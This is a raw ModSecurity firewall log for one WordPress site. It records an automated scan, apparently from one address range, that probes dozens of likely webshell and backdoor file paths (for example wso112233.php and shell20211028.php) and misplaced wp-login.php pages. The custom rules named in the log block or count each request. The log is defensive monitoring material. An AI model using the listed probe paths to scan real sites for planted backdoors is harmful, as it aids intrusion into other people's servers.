[Fri Feb 27 11:07:48.286948 2026] [:error] [pid 49306:tid 49318] [client 64.64.108.25:47693] [client 64.64.108.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.25, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aaEKhPnSUDZue59Px9tbdAAAAUo"]
[Fri Feb 27 11:07:48.754306 2026] [:error] [pid 49306:tid 49315] [client 64.64.108.25:47693] [client 64.64.108.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aaEKhPnSUDZue59Px9tbewAAAUc"]
[Fri Feb 27 11:07:54.435241 2026] [:error] [pid 54101:tid 54128] [client 64.64.108.43:20489] [client 64.64.108.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaEKilY5qgRktcYTGFvctQAAAdQ"]
[Fri Feb 27 11:07:55.754420 2026] [:error] [pid 62998:tid 63006] [client 64.64.108.39:29209] [client 64.64.108.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aaEKi1QeueXZDUmoLolHAwAAAQQ"]
[Fri Feb 27 11:07:58.461454 2026] [:error] [pid 62998:tid 63022] [client 64.64.108.39:29209] [client 64.64.108.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kk.php"] [unique_id "aaEKjlQeueXZDUmoLolHMAAAARQ"]
[Fri Feb 27 11:08:01.040623 2026] [:error] [pid 62998:tid 63002] [client 64.64.108.66:48815] [client 64.64.108.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aaEKkVQeueXZDUmoLolHXwAAAQE"]
[Fri Feb 27 11:08:02.661854 2026] [:error] [pid 62998:tid 63015] [client 64.64.108.15:35183] [client 64.64.108.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aaEKklQeueXZDUmoLolHgQAAAQ0"]
[Fri Feb 27 11:08:08.644249 2026] [:error] [pid 54101:tid 54123] [client 64.64.108.39:21965] [client 64.64.108.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aaEKmFY5qgRktcYTGFvdRAAAAc8"]
[Fri Feb 27 11:08:10.531326 2026] [:error] [pid 62998:tid 63025] [client 64.64.108.44:33789] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaEKmlQeueXZDUmoLolIJAAAARc"]
[Fri Feb 27 11:08:12.057905 2026] [:error] [pid 62998:tid 63014] [client 64.64.108.53:24575] [client 64.64.108.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aaEKnFQeueXZDUmoLolIOgAAAQw"]
[Fri Feb 27 11:08:15.152976 2026] [:error] [pid 62998:tid 63011] [client 64.64.108.39:37033] [client 64.64.108.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aaEKn1QeueXZDUmoLolIcgAAAQk"]
[Fri Feb 27 11:08:15.750234 2026] [:error] [pid 62998:tid 63015] [client 64.64.108.39:37033] [client 64.64.108.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaEKn1QeueXZDUmoLolIgAAAAQ0"]
[Fri Feb 27 11:08:25.130499 2026] [:error] [pid 49306:tid 49309] [client 64.64.108.64:30127] [client 64.64.108.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaEKqfnSUDZue59Px9tdZgAAAUE"]
[Fri Feb 27 11:08:26.127897 2026] [:error] [pid 54102:tid 54165] [client 64.64.108.28:61403] [client 64.64.108.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aaEKqni74D4fiYUm_GcAvAAAAJU"]
[Fri Feb 27 11:08:31.537106 2026] [:error] [pid 52073:tid 52084] [client 64.64.108.33:31437] [client 64.64.108.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaEKr4a650YPyxXVeRZT4wAAAYg"]
[Fri Feb 27 11:08:34.157250 2026] [:error] [pid 52073:tid 52087] [client 64.64.108.56:25747] [client 64.64.108.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aaEKsoa650YPyxXVeRZT_gAAAYs"]
[Fri Feb 27 11:08:40.639433 2026] [:error] [pid 54101:tid 54117] [client 64.64.108.26:65389] [client 64.64.108.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aaEKuFY5qgRktcYTGFveSAAAAck"]
[Fri Feb 27 11:08:43.980576 2026] [:error] [pid 52073:tid 52098] [client 64.64.108.34:61081] [client 64.64.108.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aaEKu4a650YPyxXVeRZUawAAAZY"]
[Fri Feb 27 11:08:50.069246 2026] [:error] [pid 54231:tid 54254] [client 64.64.108.19:60497] [client 64.64.108.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aaEKwuTvb5AeyJCdY7Bp-wAAAFQ"]
[Fri Feb 27 11:08:54.461724 2026] [:error] [pid 62998:tid 63008] [client 64.64.108.66:63275] [client 64.64.108.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaEKxlQeueXZDUmoLolLSgAAAQY"]
[Fri Feb 27 11:08:59.438542 2026] [:error] [pid 52073:tid 52099] [client 64.64.108.26:43025] [client 64.64.108.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aaEKy4a650YPyxXVeRZVNQAAAZc"]
[Fri Feb 27 11:09:03.846139 2026] [:error] [pid 54231:tid 54240] [client 64.64.108.58:42383] [client 64.64.108.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.58, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aaEKz-Tvb5AeyJCdY7BqjgAAAEY"]
[Fri Feb 27 11:09:05.058083 2026] [:error] [pid 54231:tid 54238] [client 64.64.108.58:42383] [client 64.64.108.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.58, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aaEK0eTvb5AeyJCdY7BqkwAAAEQ"]
[Fri Feb 27 11:09:05.559737 2026] [:error] [pid 54231:tid 54253] [client 64.64.108.58:42383] [client 64.64.108.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aaEK0eTvb5AeyJCdY7BqlwAAAFM"]
[Fri Feb 27 11:09:11.663672 2026] [:error] [pid 62998:tid 63018] [client 64.64.108.38:28515] [client 64.64.108.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aaEK11QeueXZDUmoLolNNQAAARA"]
[Fri Feb 27 11:09:13.829494 2026] [:error] [pid 49306:tid 49312] [client 64.64.108.62:28909] [client 64.64.108.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaEK2fnSUDZue59Px9tflwAAAUQ"]
[Fri Feb 27 11:09:18.734470 2026] [:error] [pid 62998:tid 63013] [client 64.64.108.55:36481] [client 64.64.108.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aaEK3lQeueXZDUmoLolN5AAAAQs"]
[Fri Feb 27 11:09:21.893304 2026] [:error] [pid 54103:tid 54182] [client 64.64.108.55:26915] [client 64.64.108.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.55, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aaEK4evG4MPCmE0B2sAl8gAAAMs"]
[Fri Feb 27 11:09:23.930278 2026] [:error] [pid 54103:tid 54185] [client 64.64.108.55:26915] [client 64.64.108.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "aaEK4-vG4MPCmE0B2sAmAwAAAM4"]
[Fri Feb 27 11:09:25.545993 2026] [:error] [pid 56075:tid 56095] [client 64.64.108.27:64093] [client 64.64.108.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/xBrain.php"] [unique_id "aaEK5cKBhrfI6KNv9Rh-JwAAABE"]
[Fri Feb 27 11:09:26.599436 2026] [:error] [pid 49306:tid 49329] [client 64.64.108.21:29463] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaEK5vnSUDZue59Px9tgKgAAAVU"]
[Fri Feb 27 11:09:28.252622 2026] [:error] [pid 62998:tid 63015] [client 64.64.108.44:39689] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaEK6FQeueXZDUmoLolOrAAAAQ0"]
[Fri Feb 27 11:09:33.517018 2026] [:error] [pid 54101:tid 54118] [client 64.64.108.61:50853] [client 64.64.108.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aaEK7VY5qgRktcYTGFvgBwAAAco"]
[Fri Feb 27 11:09:42.034234 2026] [:error] [pid 54101:tid 54108] [client 64.64.108.22:20111] [client 64.64.108.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/radio.php"] [unique_id "aaEK9lY5qgRktcYTGFvgdwAAAcA"]
[Fri Feb 27 11:09:47.661943 2026] [:error] [pid 54101:tid 54119] [client 64.64.108.19:23411] [client 64.64.108.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php"] [unique_id "aaEK-1Y5qgRktcYTGFvgxwAAAcs"]
[Fri Feb 27 11:09:51.437465 2026] [:error] [pid 52073:tid 52095] [client 64.64.108.22:28347] [client 64.64.108.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaEK_4a650YPyxXVeRZXwgAAAZM"]
[Fri Feb 27 11:09:58.052231 2026] [:error] [pid 56075:tid 56077] [client 64.64.108.41:38375] [client 64.64.108.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aaELBsKBhrfI6KNv9Rh_bgAAAAA"]
[Fri Feb 27 11:10:01.353740 2026] [:error] [pid 49306:tid 49317] [client 64.64.108.31:46803] [client 64.64.108.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aaELCfnSUDZue59Px9th6wAAAUk"]
[Fri Feb 27 11:10:18.147480 2026] [:error] [pid 62998:tid 63002] [client 64.64.108.44:61195] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aaELGlQeueXZDUmoLolSYAAAAQE"]
[Fri Feb 27 11:10:24.663826 2026] [:error] [pid 54103:tid 54188] [client 64.64.108.62:45701] [client 64.64.108.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "aaELIOvG4MPCmE0B2sAohwAAANE"]
[Fri Feb 27 11:10:33.550164 2026] [:error] [pid 56075:tid 56100] [client 64.64.108.53:31605] [client 64.64.108.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aaELKcKBhrfI6KNv9RiA4AAAABY"]
[Fri Feb 27 11:10:34.596828 2026] [:error] [pid 62998:tid 63015] [client 64.64.108.16:58759] [client 64.64.108.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aaELKlQeueXZDUmoLolTQQAAAQ0"]
[Fri Feb 27 11:10:36.870963 2026] [:error] [pid 49306:tid 49325] [client 64.64.108.54:51101] [client 64.64.108.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aaELLPnSUDZue59Px9tkzwAAAVE"]
[Fri Feb 27 11:10:39.356107 2026] [:error] [pid 49306:tid 49322] [client 64.64.108.36:41597] [client 64.64.108.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aaELL_nSUDZue59Px9tk7wAAAU4"]
[Fri Feb 27 11:10:48.065665 2026] [:error] [pid 54101:tid 54130] [client 64.64.108.65:33667] [client 64.64.108.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "aaELOFY5qgRktcYTGFvi-AAAAdY"]
[Fri Feb 27 11:10:49.268760 2026] [:error] [pid 62998:tid 63007] [client 64.64.108.29:21661] [client 64.64.108.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aaELOVQeueXZDUmoLolUcgAAAQU"]
[Fri Feb 27 11:10:51.149098 2026] [:error] [pid 54101:tid 54112] [client 64.64.108.37:47961] [client 64.64.108.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/options.php"] [unique_id "aaELO1Y5qgRktcYTGFvjFgAAAcQ"]
[Fri Feb 27 11:10:53.554192 2026] [:error] [pid 52073:tid 52088] [client 64.64.108.23:37387] [client 64.64.108.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/gzdecode.php"] [unique_id "aaELPYa650YPyxXVeRZazwAAAYw"]
[Fri Feb 27 11:10:56.091468 2026] [:error] [pid 54103:tid 54193] [client 64.64.108.43:32923] [client 64.64.108.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes/atomlib.php"] [unique_id "aaELQOvG4MPCmE0B2sApuAAAANY"]
[Fri Feb 27 11:10:58.236888 2026] [:error] [pid 56075:tid 56097] [client 64.64.108.28:29975] [client 64.64.108.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.28, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/images/wp-login.php"] [unique_id "aaELQsKBhrfI6KNv9RiBlgAAABM"]
[Fri Feb 27 11:11:00.650985 2026] [:error] [pid 56075:tid 56094] [client 64.64.108.28:29975] [client 64.64.108.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/plupload/wp-login.php"] [unique_id "aaELRMKBhrfI6KNv9RiBqQAAABA"]
[Fri Feb 27 11:11:04.940267 2026] [:error] [pid 62998:tid 63015] [client 64.64.108.57:36129] [client 64.64.108.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "aaELSFQeueXZDUmoLolV1gAAAQ0"]
